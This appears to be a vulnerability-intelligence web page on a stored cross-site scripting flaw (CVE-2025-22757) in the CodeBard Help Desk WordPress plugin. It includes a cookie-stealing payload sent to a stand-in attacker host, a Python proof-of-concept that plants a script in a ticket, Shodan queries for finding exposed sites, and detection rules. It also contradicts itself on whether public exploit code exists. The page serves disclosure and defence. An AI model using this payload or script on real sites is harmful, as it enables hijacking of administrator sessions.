☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codebard logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22757

CVE-2025-22757 Cross-Site Scripting in Codebard
📅 PUBLISHED: 2025-01-31 09:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22757 is a Stored Cross-Site Scripting (XSS) vulnerability in the CodeBard Help Desk WordPress plugin, affecting versions from n/a through 1.1.2. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin’s help desk ticket system. When an administrator or other user views the malicious ticket, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as Medium severity (CVSS 6.5) due to the requirement for authenticated access and user interaction. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the CodeBard Help Desk plugin version 1.1.2 or earlier is exposed. Since no patch exists, administrators must consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: Low (PR:L) – Attacker needs a contributor-level account.
  • User Interaction: Required (UI:R) – Victim must view the malicious ticket.
  • Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: Low (A:L) – Limited disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability resides in the ticket submission and display functionality of the CodeBard Help Desk plugin. The plugin fails to properly sanitize user-supplied input in the ticket body or subject fields before storing it in the WordPress database. When an administrator or other user views the ticket via the admin dashboard, the stored malicious script is rendered without proper output encoding, leading to execution in the context of the victim’s browser.

Root Cause: The plugin uses echo or the_content filter without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on user-submitted data. This allows HTML and JavaScript to be stored and later executed.

Attack Flow:

  1. Attacker logs in with a contributor-level account.
  2. Attacker creates a new help desk ticket containing a malicious payload in the ticket body, e.g., <script>alert(document.cookie)</script>.
  3. The plugin stores the payload in the wp_posts or custom table without sanitization.
  4. Administrator navigates to the ticket list or detail view.
  5. The payload executes in the admin’s browser, potentially stealing session cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the ticket rendering function. A typical vulnerable pattern might look like:

Vulnerable Code (PHP):

echo '<div class="ticket-body">' . $ticket->body . '</div>';

Patched Code (Hypothetical):

echo '<div class="ticket-body">' . esc_html( $ticket->body ) . '</div>';

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with CodeBard Help Desk plugin version <= 1.1.2.
  • Valid user account with contributor role or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to the help desk ticket creation page.
  3. Submit a new ticket with the following payload in the body field:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Wait for an administrator to view the ticket.
  5. The admin’s browser will send their cookies to the attacker’s server.

Proof-of-Concept (PoC) Script:

import requests

target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php"
session = requests.Session()

# Login as contributor
login_data = {
    'log': 'contributor_user',
    'pwd': 'password',
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}
session.post(target_url.replace('admin-ajax.php', 'wp-login.php'), data=login_data)

# Create malicious ticket
ticket_data = {
    'action': 'codebard_create_ticket',
    'ticket_subject': 'Test Ticket',
    'ticket_body': '<script>alert("XSS")</script>'
}
session.post(target_url, data=ticket_data)
print("Malicious ticket created. Wait for admin to view.")

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual ticket creation patterns, especially from low-privilege users.
  • Look for tickets containing <script>, onerror, onload, or other event handlers in the body.
  • Use WAF rules to block common XSS payloads in POST requests to help desk endpoints.

Hardening:

  • Disable or remove the plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Restrict contributor roles from creating tickets if not necessary.
  • Use WordPress security plugins like Wordfence to add input validation.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains from the WordPress admin dashboard.
    • POST requests to /wp-admin/admin-ajax.php with action=codebard_create_ticket containing <script> tags.
  • File IOCs:

    • Modified plugin files in /wp-content/plugins/codebard-help-desk/ (if attacker uploads a backdoor).
    • Suspicious entries in the wp_posts table with post_type related to help desk tickets containing JavaScript.
  • Log IOCs:

    • WordPress debug log entries showing unescaped output errors.
    • Web server access logs with alert or fetch in the request body.

Detection Engineering

YARA Rule

rule Detect_CodeBard_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in CodeBard Help Desk plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22757"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        any of them
}

Sigma Rule

title: CodeBard Help Desk Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-22757 via stored XSS in ticket body
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'codebard_create_ticket'
        cs-body|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in tickets (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22757 CodeBard Help Desk Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"codebard_create_ticket"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete the CodeBard Help Desk plugin until a patched version is released.
  2. Audit user roles – Remove contributor-level access from untrusted users.
  3. Scan for existing XSS – Check the WordPress database for stored malicious payloads in help desk tickets.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Regularly update all WordPress plugins and themes.

Workaround:

  • If the plugin is critical, consider using a different help desk plugin that is actively maintained and patched.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"CodeBard Help Desk"
http.html:"codebard-help-desk"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22757/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.